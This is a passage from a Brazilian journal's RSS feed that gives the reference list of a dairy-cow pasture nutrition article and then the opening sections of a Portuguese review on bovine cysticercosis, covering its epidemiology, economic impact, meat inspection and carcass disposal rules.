<p class="wp-block-paragraph">CHESSON, A., FORSBERG, C.W. Polysaccharide degradation by rumen microorganism. In: HOBSON, P.N., <strong>The rumen microbial ecosystem</strong>. 1988, Elsevier Applied Science: London, p.251-284.&nbsp;</p>



<p class="wp-block-paragraph">FRANCE, J., SIDDONS, R. C. <strong>Volatile fatty acid production</strong>. In: FORBES, J.M. J. Quantitative aspects of ruminant digestion and metabolism.&nbsp; Cambridge: Cambridge University Press, 1993. p.107- 121.</p>



<p class="wp-block-paragraph">FRANCO, G.L., ANDRADE, P., BRUNO FILHO, J.R. et al. Parâmetros ruminais e desaparecimento da FDN da forragem em bovinos suplementados em pastagens na estação das águas. <strong>Revista Brasileira Zootecnia</strong>. v.31, n.6, p.2340-2349, 2002.&nbsp;</p>



<p class="wp-block-paragraph">GOMIDE, J.A. Produção de leite em regime de pasto. <strong>Revista da Sociedade Brasileira de Zootecnia</strong>. v.22, n.4, p.591-613, 1993.&nbsp;</p>



<p class="wp-block-paragraph">GOULARTE, S.R., ÍTAVO, L.C.V., MORAIS, M.G. et al. Open-access Consumo de nutrientes e parâmetros ruminais de vacas alimentadas com diferentes níveis de energia na dieta. <strong>Arquivo Brasileiro de Medicina Veterinária e Zootecnia</strong>. v.62, n.2, p.357364, 2010.</p>



<p class="wp-block-paragraph">GUTIERREZ, G.S., LANA, R.P., TEIXEIRA, C.R.V. et al. Nitrogen compounds balance and microbial protein synthesis in supplemented crossbred dairy cows in pasture. <strong>Acta Scientiarum: Animal Sciences</strong>. v.40, p.1-6, 2018.</p>



<p class="wp-block-paragraph">HOFFMAN, K., MULLER, L.D., FALES, S.L. et al. Quality evaluation and concentrate supplementation of rotational pasture grazed by lactating cows. <strong>Journal of Dairy Science</strong>. v.76, n.9, p.2651-2663, 1993.&nbsp;</p>



<p class="wp-block-paragraph">JONES-ENDSLEY, J.M., CECAVA, M.J., JOHNSON, T.R. Effects of dietary supplementation on nutrient digestion and the milk yield of intensively grazed lactating dairy cows. <strong>Journal of Dairy Science</strong>. v.80, n.12, p.3283-3292, 1997.&nbsp;</p>



<p class="wp-block-paragraph">KRAUSE, K.M., COMBS, D.K. Effects of forage particle size, forage source, and grain fermentability on performance and ruminal pH in midlactation cows. <strong>Journal of Dairy Science</strong>. v.86, n.4, p.1382-1397, 2003.&nbsp;</p>



<p class="wp-block-paragraph">MOTA, M.F., VILELA, D., SANTOS, G.T. et al. Parâmetros ruminais de vacas leiteiras mantidas em pastagem tropical. <strong>Archivos de Zootecnia</strong>. v.59, n.226, p.217224, 2010.</p>



<p class="wp-block-paragraph">NATIONAL Research Council. <strong>Nutrient requirements of dairy cattle</strong>. 7<sup>th</sup> Ed. (rev.). Washington: National Academy Press, 2001. 381p.&nbsp;</p>



<p class="wp-block-paragraph">PATRIZI, W.L. <strong>Degradabilidade in situ de silagens de Brachiaria brizantha cv. Marandu pura ou com aditivos</strong>. 2004. 72p. Dissertação (Mestrado em Zootecnia) – Escola de Veterinária da Universidade Federal de Minas Gerais, Belo Horizonte.&nbsp;</p>



<p class="wp-block-paragraph">REIS, R.B. <strong>Grain supplementation for grazing dairy cows</strong>. 1998. 257p. Thesis (Doctor of Philosophy, Dairy Science) – Madison, University of Wisconsin.&nbsp;</p>



<p class="wp-block-paragraph">REIS, R.B., COMBS, D.K. Effects of increasing level of grain supplementation on rumen environment and lactation performance of dairy cows grazing grass-legume pasture. <strong>Journal of Dairy Science</strong>. v.83, n.12, p.2888-2898, 2000.&nbsp;</p>



<p class="wp-block-paragraph">REIS, R.B., SOUSA, B.M. Suplementação de vacas leiteiras em pastagem manejada intensivamente. In: SIMPÓSIO SOBRE BOVINOCULTURA LEITEIRA, 6º. <strong>Anais</strong><em>&#8230;</em> Piracicaba, São Paulo: FEALQ, 2008. p151-181.</p>



<p class="wp-block-paragraph">SANTOS, F.A.P., MARTINEZ, J.C., GRECO, L.F. et al. Nutrição das vacas em lactação, no período chuvoso, para produção intensiva de leite em pasto. In. SIMPÓSIO DE NUTRIÇÃO E PRODUÇÃO DE GADO DE LEITE; PRODUÇÃO DE LEITE EM PASTO, III. <strong>Anais</strong><em>&#8230;</em> Belo Horizonte, 2007. p.1-27.&nbsp;</p>



<p class="wp-block-paragraph">SATTER, S.D., SLYTER, L.L. Effects of ammonia concentration on rumen microbial protein production “in vitro”. <strong>British Journal of Nutrition</strong>. v.32, p.245, 1974.</p>



<p class="wp-block-paragraph">SISVAR. Departamento de Exatas da Universidade Federal de Lavra (DEX/UFLA), Versão 4.6, Build 62. 2003.&nbsp;</p>



<p class="wp-block-paragraph">VAN SOEST, P.J. <strong>Nutritional ecology of the ruminant</strong>. 2. ed. Ithaca: Cornell University Press, 1994. 476p.</p>



<p class="wp-block-paragraph">VASQUEZ, E.F.A. <strong>Suplementação com carboidratos não estruturais para novilhas mestiças Holandês x Zebu em pastagem de <em>Panicum maximum</em> cv. Mombaça</strong>. 2002. 113p. Tese (Doutorado em Ciência Animal) – Escola de Veterinária da Universidade Federal de Minas Gerais, Belo Horizonte.&nbsp;</p>



<hr class="wp-block-separator has-text-color has-black-color has-alpha-channel-opacity has-black-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1 </sup>Graduando em Medicina Veterinária pelo Centro Universitário de Belo Horizonte – UNIBH.<br><sup>2</sup> Médico Veterinário, Professor Nível III. Doutor. Núcleo de Ciências Agrárias e Meio Ambiente, Centro Universitário de Belo Horizonte – UNIBH. Parte integrante da tese de doutorado do referido autor. E-mail: sousa.brenomourao@yahoo.com.br.<br><sup>3</sup> Médico Veterinário, Professor. Doutor. Departamento de Zootecnia da Escola de Veterinária da UFMG.<br>*Autor para correspondência: E-mail: antoniogabrielrichard6@gmail.com</p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CISTICERCOSE BOVINA E SAÚDE PÚBLICA: ASPECTOS SANITÁRIOS, ESTRATÉGIAS E DESAFIOS PARA O CONTROLE EPIDEMIOLÓGICO  </title>
		<link>https://revistaft.com.br/cisticercose-bovina-e-saude-publica-aspectos-sanitarios-estrategias-e-desafios-para-o-controle-epidemiologico/</link>
		
		<dc:creator><![CDATA[Revistaft CH]]></dc:creator>
		<pubDate>Mon, 23 Feb 2026 00:01:53 +0000</pubDate>
				<category><![CDATA[Ciências Agrárias]]></category>
		<category><![CDATA[Volume 30 – Edição 155/FEV 2026]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=265907</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/ch10202602222101 Gustavo Antônio Peixoto¹; Anna Karolina Ferreira Rocha da Silva²; Diógenes Francisco Neto³; Júlia Flávia Borges⁴; Orientador: M.V. Gabriella de Oliveira Nascimento&#160; RESUMO&#160;&#160; A cisticercose bovina é uma zoonose negligenciada com impacto relevante na saúde pública e na cadeia produtiva da carne no Brasil. Associada a deficiências em saneamento, abate informal e informalidade [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/ch10202602222101</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Gustavo Antônio Peixoto¹; Anna Karolina Ferreira Rocha da Silva²; Diógenes Francisco Neto³; Júlia Flávia Borges⁴; Orientador: M.V. Gabriella de Oliveira Nascimento&nbsp;</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">A cisticercose bovina é uma zoonose negligenciada com impacto relevante na saúde pública e na cadeia produtiva da carne no Brasil. Associada a deficiências em saneamento, abate informal e informalidade rural, seu controle enfrenta desafios. Este estudo revisa criticamente a literatura científica sobre aspectos sanitários, epidemiológicos e estratégias de controle. Destacam-se a baixa sensibilidade da inspeção <em>post mortem </em>e o potencial de tecnologias emergentes como PCR e rastreabilidade. A vacinação com antígenos recombinantes é apontada como alternativa promissora. Propõe-se a regulamentação dessa vacina, modernização da inspeção, integração intersetorial e investimentos em educação e inovação tecnológica.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Cisticercose bovina. Saúde Pública. Inspeção Sanitária. Vacinação.&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT </strong>&nbsp;</p>



<p class="wp-block-paragraph">Bovine cysticercosis is a neglected zoonosis with significant impact on public health and the meat production chain in Brazil. Associated with deficiencies in sanitation, informal slaughter, and rural informality, its control still faces challenges. This study critically reviews the scientific literature on sanitary, epidemiological, and control aspects. It highlights the low sensitivity of <em>post-mortem</em> inspection and the potential of emerging technologies such as PCR and traceability systems. Vaccination with recombinant antigens is identified as a promising alternative. The study proposes vaccine regulation, modernization of sanitary inspection, intersectoral integration, and investment in health education and technological innovation.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Bovine cysticercosis. Public Health. Meat Inspection. Vaccination.&nbsp;</p>



<p class="wp-block-paragraph"><strong>1. </strong><strong>Introdução&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">A cisticercose bovina é classificada como uma zoonose parasitária muito relevante para a saúde pública e a economia rural no Brasil. Segundo a Organização Mundial da Saúde (OMS)&nbsp;é uma doença negligenciada, pois representa um desafio consistente em países em desenvolvimento, devido à sua correlação com condições precárias de saneamento básico,&nbsp;práticas culturais locais e estruturas produtivas informais (WOAH, 2021).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A infecção, provocada pela forma larval da <em>Taenia saginata,</em> começa quando bovinos ingerem ovos presentes em fezes humanas, geralmente encontradas em áreas sem tratamento de esgoto. A larva se instala nos músculos dos animais de forma silenciosa, sem sinais clínicos evidentes, sendo comumente detectada apenas durante a inspeção <em>post mortem.</em> Quando seres humanos consomem carne crua ou malpassada contendo cisticercos viáveis, o ciclo se reinicia,&nbsp;com o homem tornando-se o hospedeiro definitivo do parasito (Jorge <em>et al.</em>, 2020).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Atualmente, o sistema de inspeção sanitária apresenta-se como o principal meio institucional de controle da doença. No entanto, sua forma convencional, baseada em inspeção visual durante o abate, apresenta baixa sensibilidade, especialmente em infecções leves, podendo não detectar grande parte dos casos (Rossi; Van Damme; Gabriël, 2020). Essa limitação aumenta a subnotificação e enfraquece a vigilância epidemiológica, sobretudo em regiões com alta incidência de abates informais. Como resultado, a cisticercose permanece entre as principais causas de condenação de carcaças no Brasil, gerando perdas econômicas para pecuaristas e frigoríficos, além de prejudicar a competitividade da carne brasileira no mercado&nbsp;internacional (Araújo <em>et al</em>., 2023).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Além dos impactos econômicos, a presença da doença está intimamente associada a deficiências no saneamento básico e ao descarte inadequado de dejetos humanos, condições que ainda são frequentes em áreas rurais. Por isso, faz-se necessária uma abordagem integrada entre saúde animal, saúde humana e meio ambiente, conforme o conceito de Saúde Única (Oliveira&nbsp;<em>et al</em>., 2024).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Mesmo com os avanços nas políticas públicas e campanhas educativas, o controle da cisticercose continua limitado a medidas reativas e corretivas. A vigilância sanitária enfrenta barreiras logísticas e operacionais, e a adesão às medidas preventivas entre pequenos produtores é baixa, especialmente em áreas com infraestrutura precária (Teixeira; Fonseca; Pinto, 2024).&nbsp;</p>



<p class="wp-block-paragraph">Essas dificuldades destacam a necessidade de uma estratégia mais abrangente, ordenada e&nbsp;sustentável.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Neste contexto, uma abordagem alternativa promissora que vem ganhando cada vez mais atenção nos últimos anos são as vacinas que utilizam antígenos recombinantes capazes de inibir a implantação do <em>B. bovis cisticercus</em> em bovinos. Pesquisas conduzidas pela Empresa Brasileira de Pesquisas Agropecuária (EMBRAPA) têm apresentado resultados positivos em estudos laboratoriais, prenunciando uma possível revolução no controle de doenças (Araújo <em>et al</em>., 2023). A introdução da vacinação como meio de prevenção permitiria que medidas fossem&nbsp;tomadas antes que a infecção ocorresse, em vez de apenas controlar carcaças contaminadas.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Entretanto, a aplicação prática dessa estratégia ainda depende de pesquisa de campo, regulamentações técnicas, treinamento profissional e aceitação pelos pecuaristas, que muitas vezes têm acesso limitado a informações e recursos. Apesar da base técnica existente, a maioria das publicações científicas ainda não aborda a questão da vacinação como tema central,&nbsp;evidenciando uma lacuna relevante na literatura nacional.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Portanto, este estudo, baseado em dados regionais, na literatura científica mais recente e no conceito Saúde Única (One Health), tem como objetivo identificar os principais obstáculos para o controle da cisticercose bovina no Brasil e, em particular, avaliar o potencial da vacinação como estratégia preventiva. Espera-se que subsídios tecnológicos sejam disponibilizados para promover a formulação de políticas públicas mais condizentes com a realidade produtiva&nbsp;nacional. &nbsp;</p>



<p class="wp-block-paragraph"><strong>2. </strong><strong>Método de Pesquisa&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">Trata-se de uma revisão narrativa com abordagem qualitativa, centrada na análise crítica de literatura científica e documentos técnicos sobre cisticercose bovina. O foco concerne os aspectos sanitários, epidemiológicos e estratégias de controle, tendo como destaque a&nbsp;vacinação.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A coleta de fontes foi realizada entre abril e maio de 2025, utilizando PubMed, SciELO, ScienceDirect, Google Scholar e repositórios institucionais (FAO, WHO, WOAH, EMBRAPA). Os termos de busca incluíram palavras-chave em português e inglês, como&nbsp;&nbsp;<em>“</em>cisticercose bovina<em>”</em>, <em>“Taenia saginata”</em>, <em>“</em>sanitary inspection<em>”</em>, <em>“</em>vaccination<em>”</em> e <em>“</em>Saúde Única”.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Foram analisadas 32 publicações (2012–2024), sendo 28 artigos com DOI e 4 documentos oficiais. Os critérios de inclusão consideraram: texto completo disponível, relevância temática e relação direta com os objetivos do estudo. Embora não seja sistemática, a revisão facilitou a identificação de tendências, lacunas e abordagens de controle integradas à perspectiva da Saúde Única.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>3. </strong><strong>Bases Conceituais da Cisticercose Bovina&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>3.1 </strong><strong>Etiologia e Ciclo Biológico de </strong><strong><em>Taenia saginata</em></strong>&nbsp;</p>



<p class="wp-block-paragraph">A cisticercose bovina é provocada pela forma larval da <em>Taenia saginata</em>, helminto que exige dois hospedeiros: o humano, como hospedeiro definitivo, e o bovino, como intermediário (WOAH, 2021). O verme adulto se aloja no intestino delgado humano, liberando proglotes grávidas com milhares de ovos nas fezes. Em regiões com saneamento precário, esses ovos&nbsp;contaminam o solo, a água e as pastagens (Panziera <em>et al</em>., 2017).&nbsp;</p>



<p class="wp-block-paragraph">Bovinos ingerem os ovos e, no intestino, as larvas eclodem, atravessam a mucosa e migram para os músculos via corrente sanguínea, formando cisticercos viáveis em cerca de 10 a 12 semanas (Figura 1).&nbsp;&nbsp;&nbsp;</p>



<figure class="wp-block-image aligncenter size-full is-resized"><img loading="lazy" decoding="async" width="576" height="500" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-40.jpeg" alt="" class="wp-image-265908" style="aspect-ratio:1.1520530900041477;width:460px;height:auto" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-40.jpeg 576w, https://revistaft.com.br/wp-content/uploads/2026/02/image-40-300x260.jpeg 300w" sizes="(max-width: 576px) 100vw, 576px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Figura 1 – Esquema do ciclo da <em>Taenia saginata</em>, com humanos como hospedeiros definitivos e bovinos como intermediários. Fonte: EMBRAPA (2023) &nbsp;</p>



<p class="wp-block-paragraph">Os principais locais de fixação são os masseteres, coração, diafragma e língua (WOAH, 2021). A infecção geralmente é assintomática, refreando o diagnóstico ante mortem. A ingestão humana de carne crua com cisticercos viáveis reinicia o ciclo parasitário. Diferente da <em>Taenia solium</em>, a <em>T. saginata</em> não provoca autoinfecção em humanos. Sua presença em bovinos indica deficiências sanitárias regionais e confirma sua categoria como zoonose negligenciada.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.2 </strong><strong>Classificação como Zoonose e Implicações para a Saúde Pública </strong>&nbsp;</p>



<p class="wp-block-paragraph">A cisticercose bovina está intimamente relacionada à carência de saneamento básico, sistemas produtivos informais e abate clandestino. A presença do parasita em bovinos retrata a disseminação da teníase humana, já que muitas vezes não é diagnosticada (Silva; Oliveira, 2023). A contaminação da água e do solo fecha o ciclo de transmissão.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Reconhecida como zoonose negligenciada pela OMS, a cisticercose compromete a saúde pública e a segurança alimentar. A inspeção <em>post mortem</em> tem sensibilidade limitada, permitindo que infecções leves passem despercebidas. Estudos em Minas Gerais revelam forte associação entre prevalência da doença e comunidades de baixa renda que vivem em locais com infraestrutura sanitária deficiente (Pinto <em>et al</em>., 2019). O enfoque intersetorial, alinhado aos princípios da Saúde Única, é fundamental para interromper a cadeia de transmissão.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.3 </strong><strong>Panorama Epidemiológico Nacional e Global </strong>&nbsp;</p>



<p class="wp-block-paragraph">A prevalência da cisticercose bovina no Brasil varia entre 1,05% e 18,7%, dependendo da região, do tipo de inspeção e da metodologia adotada (Araújo <em>et al</em>., 2023). Por exemplo, estados como Espírito Santo, Minas Gerais e Paraná apresentam taxas elevadas, em áreas&nbsp;associadas a vulnerabilidades sociais e ao abate informal (Dettmann <em>et al</em>., 2022).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Ferramentas como geoprocessamento e SIG têm identificado zonas críticas, associadas à densidade bovina, uso de água de superfície e ausência de esgotamento sanitário. A inspeção federal (SIF) apresenta maior eficácia, porque os sistemas estaduais e municipais (SIE, SIM)&nbsp;enfrentam limitações operacionais (Motta, E. <em>et al</em>., 2023; Bidone <em>et al</em>., 2021).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Internacionalmente, a cisticercose bovina é prevalente em países como Etiópia, Nigéria, Egito, Croácia e regiões da Itália, com características sanitárias similares às brasileiras (El Dakhly <em>et al</em>., 2023; Rubiola <em>et al</em>., 2021; Zdolec <em>et al</em>., 2012). A variabilidade reflete fatores climáticos, culturais e políticos, exigindo ações adaptadas à realidade local.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>4. Impactos da Cisticercose Bovina &nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>4.1 </strong><strong>Perdas Econômicas e Barreiras Comerciais </strong>&nbsp;</p>



<p class="wp-block-paragraph">A cisticercose bovina traz malefícios expressivos à cadeia da carne. As perdas incluem a condenação de carcaças e vísceras, aplicação de tratamentos como congelamento e salga, e rebaixamento do produto para fins industriais (Pastor <em>et al</em>., 2018). Estudos analisados por Favarin <em>et al.</em> (2021), apontam prejuízos de milhões de reais em estados como São Paulo, Paraná e Espírito Santo.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Os Decretos nº 9.013/2017 e nº 10.468/2020 (BRASIL, 2020) tornaram obrigatórios os tratamentos tecnológicos mesmo para infecções leves. Tais exigências encarecem o processo, penalizando pequenos produtores e frigoríficos (Favarin <em>et al</em>., 2021).&nbsp;</p>



<p class="wp-block-paragraph">No exterior, a cisticercose é uma barreira não tarifária, ou seja, países importadores exigem garantias sanitárias que nem sempre são atendidas, afetando a imagem da carne brasileira (FAO/WHO, 2013; Figueiredo <em>et al</em>., 2019). Mesmo produtos tratados podem ser desvalorizados, pois podem gerar desconfiança no consumidor.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.2 </strong><strong>Consequências Sanitárias para o Setor Agropecuário&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">A baixa sensibilidade da inspeção <em>post mortem</em> compromete o diagnóstico e favorece a subnotificação (Mohamed <em>et al</em>., 2021). Em regiões com abate informal e rede de saneamento precária, o ciclo do parasita permanece ativo.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">As exigências legais acabam aumentando os custos operacionais. Pequenos produtores, com menor acesso a assistência técnica e financiamento, são os mais prejudicados. A fragilidade da biossegurança, ausência de cercas e o manejo inadequado de resíduos elevam o risco de contaminação (Duarte <em>et al</em>., 2022).&nbsp;</p>



<p class="wp-block-paragraph">A falta de uso de dados epidemiológicos e rastreabilidade dificulta o controle. De acordo&nbsp;com Gomes, Avelar e Martins (2023), intensificar o uso de ferramentas como PCR e SIG é fundamental, porém exige estrutura e formação técnica. O médico veterinário atua no papel central em relação à integração entre setores, com base nas diretrizes da Saúde Única, que reconhece que as saúdes humana, animal e ambiental são interdependentes (Oliveira <em>et al</em>.,&nbsp;2024).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.3 </strong><strong>Repercussões na Saúde Pública e Segurança Alimentar </strong>&nbsp;</p>



<p class="wp-block-paragraph">A cisticercose integra o ciclo teníase-cisticercose. A ingestão de carne malcozida com&nbsp;cisticercos viáveis leva à teníase humana, geralmente assintomática, que favorece a&nbsp;disseminação ambiental dos cisticercos (Laranjo-González <em>et al</em>., 2018; Mwasunda <em>et al</em>., 2022).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A presença da doença compromete a percepção de segurança alimentar. Mesmo com tratamento térmico, a imagem da carne é afetada. A associação com outras parasitoses, como fasciolose, agrava ainda mais as condenações e revela outros tipos de falhas no controle&nbsp;sanitário (Motta, S. <em>et al</em>., 2024).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A inspeção visual não detecta infecções leves, exigindo métodos complementares como PCR (Figueiredo <em>et al</em>., 2019). A cisticercose deve ser tratada como zoonose sentinela, porque sua detecção aponta vulnerabilidades estruturais que exigem ações multifacetadas e políticas públicas sustentadas (Acevedo-Nieto <em>et al</em>., 2022).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.</strong> <strong>Mecanismos de Controle Sanitário e Vigilância </strong>&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.1 Estratégias de Inspeção </strong><strong><em>Ante </em></strong><strong>e </strong><strong><em>Post Mortem&nbsp;&nbsp;</em></strong></p>



<p class="wp-block-paragraph">A inspeção higiênico-sanitária de bovinos, nas etapas ante e <em>post mortem</em>, constitui um&nbsp;dos principais instrumentos institucionais de controle da cisticercose (Figura 2).&nbsp;&nbsp;</p>



<figure class="wp-block-image aligncenter size-full is-resized"><img loading="lazy" decoding="async" width="779" height="715" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-41.jpeg" alt="" class="wp-image-265909" style="aspect-ratio:1.0895209949513607;width:475px;height:auto" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-41.jpeg 779w, https://revistaft.com.br/wp-content/uploads/2026/02/image-41-300x275.jpeg 300w, https://revistaft.com.br/wp-content/uploads/2026/02/image-41-768x705.jpeg 768w" sizes="(max-width: 779px) 100vw, 779px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Figura 2 – Cisticercos em diversas vísceras e na musculatura de bovinos infectados.&nbsp;<br>Fonte: Fotos, Arquivo pessoal Dr. Welber Lopes, UFG&nbsp;</p>



<p class="wp-block-paragraph">Realizada sob os sistemas federal, estadual ou municipal de inspeção, essa atividade tem o intuito de garantir a segurança alimentar e identificar zoonoses de relevância epidemiológica, como a cisticercose bovina (Barbosa; Rossi; Souza, 2021). No entanto, o modelo atual, baseado na inspeção visual e em incisões padronizadas, apresenta sensibilidade&nbsp;limitada, especialmente em infecções leves ou em localizações atípicas (Hiko; Seifu, 2018).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Em contextos de produção informal, como assentamentos rurais e propriedades de base familiar, a ausência de inspeção oficial ante mortem e <em>post mortem</em> intensifica a subnotificação e contribui para a manutenção do ciclo da <em>Taenia saginata</em>. A proximidade entre humanos e animais, o uso de instalações sanitárias improvisadas e a ausência de biossegurança auxiliam a&nbsp;contaminação ambiental e a reinfecção dos rebanhos (Acevedo-Nieto <em>et al</em>., 2022).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A identificação de cisticercos em carcaças condenadas atua como marcador&nbsp;epidemiológico da circulação da teníase na população, fortalecendo o papel tático da inspeção como procedimento de vigilância. Contudo, sua palpabilidade depende da capacitação técnica dos profissionais, da infraestrutura dos sistemas de inspeção e da adoção de métodos diagnósticos suplementares, como sorologia, PCR e georreferenciamento de áreas de risco (Duarte <em>et al</em>., 2022).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Além das implicações sanitárias, a presença de cisticercose impacta de modo direto a cadeia produtiva, levando à desvalorização comercial das carcaças, mesmo depois de tratamento térmico. A reincidência de infecções, em conjunto com a presença de outras parasitoses, aumenta as condenações e prejudica a concepção do consumidor, tanto no mercado interno&nbsp;quanto no externo (Fesseha; Asefa, 2023).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Diante disso, é necessário que a inspeção progrida de uma prática puramente corretiva para uma ação estratégica integrada. Estabelecida no marco da Saúde Única, a inspeção deve ser articulada com programas de biossegurança, educação sanitária e mapeamento territorial. Conforme defendido por Rossi, Van Damme e Gabriël (2020), sua função supera a detecção de lesões e deve incluir a geração de dados epidemiológicos para nortear políticas públicas&nbsp;intersetoriais.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A recorrência da cisticercose em determinadas regiões deve ser interpretada como sinal de falhas sistemáticas de regência sanitária. Superá-las exige investimentos em modernização das práticas de inspeção, capacitação técnica e vinculação de tecnologias que propiciem uma&nbsp;vigilância ativa, territorializada e preventiva.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.2 Aproveitamento Condicional e Critérios de Destinação de Carcaças </strong>&nbsp;</p>



<p class="wp-block-paragraph">O destino de carcaças bovinas acometidas por cisticercose é administrado pelo Regulamento de Inspeção Industrial e Sanitária de Produtos de Origem Animal (RIISPOA), que estabelece critérios sanitários baseados na localização, quantidade e factibilidade dos cisticercos identificados durante a inspeção <em>post mortem</em> (WOAH, 2021; BRASIL, 2021). As decisões são tomadas por médicos-veterinários habilitados, com base em incisões e avaliações visuais padronizadas em músculos de predileção do parasita, como masseteres, coração, diafragma e&nbsp;língua (Cipriano <em>et al</em>., 2015).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Nos casos de infecções leves, a legislação autoriza o aproveitamento condicional da carcaça, desde que seja submetida a algum tratamento tecnológico eficaz. As principais técnicas incluem congelamento (-10 °C por 10 dias), salga em solução salina a 7% por 10 dias, ou tratamento térmico, que asseguram a inativação do parasita (Pastor <em>et al</em>., 2018).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Por outro lado, carcaças com infecções intensas, caracterizadas por oito ou mais cisticercos viáveis ou calcificados (distribuídos em diferentes locais), devem ser totalmente condenadas, independentemente da viabilidade dos parasitas. Essa medida objetiva eliminar riscos à saúde pública e preservar a integridade do sistema de inspeção (Panziera <em>et al</em>., 2017).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A aplicação do aproveitamento condicional, embora evite perdas totais, impõe desafios técnicos e logísticos, como a necessidade de câmaras frigoríficas específicas, controle rigoroso de temperatura e rastreabilidade documental (Barbosa; Rossi; Souza, 2021). Tais premissas&nbsp;representam custos significativos, especialmente para abatedouros de pequeno porte.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Os avanços que foram apresentados pelo Decreto nº 10.468/2020 tornaram os critérios mais severos acerca da destinação de carcaças contaminadas. A nova norma suprimiu a possibilidade de liberação sem tratamento, mesmo para cisticercos calcificados, reforçando a exigência de processos tecnológicos em todos os casos com lesões parasitárias visíveis (Favarin&nbsp;<em>et al</em>., 2021).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Embora os cisticercos calcificados não mostrem viabilidade biológica, sua presença é considerada um indicativo de exposição ambiental e provável falha de biossegurança. Isso justifica a adoção de medidas preventivas mais amplas. Assim, a inspeção <em>post mortem</em>&nbsp;representa também uma função crucial dentro da vigilância territorial, já que sinaliza áreas de&nbsp;risco para a cadeia produtiva (Panziera <em>et al</em>., 2017).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O aproveitamento condicional, quando é bem implementado, busca equilibrar três metas fundamentais: proteger a saúde pública, evitar o descarte excessivo e desnecessário de proteína animal, e manter a viabilidade econômica da cadeia pecuária. A padronização e o cumprimento rigoroso da legislação apresentam-se, então, como instrumentos estratégicos para a paralização do ciclo da teníase, a redução dos prejuízos econômicos para pecuaristas e frigoríficos, além da garantia da qualidade sanitária da carne exportada e consumida pela população brasileira.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.3 Barreiras Estruturais e Regionais à Efetividade do Controle </strong>&nbsp;</p>



<p class="wp-block-paragraph">As barreiras estruturais e regionais comprometem a eficácia de ações sanitárias, por isso, apesar dos avanços normativos e institucionais, a cisticercose bovina continua sendo uma zoonose de difícil controle no Brasil. A diversidade dos serviços de inspeção reflete diferenças&nbsp;operacionais que afetam tanto a sensibilidade diagnóstica quanto a sistematização de&nbsp;procedimentos (Pinto <em>et al</em>., 2019).&nbsp;&nbsp;</p>



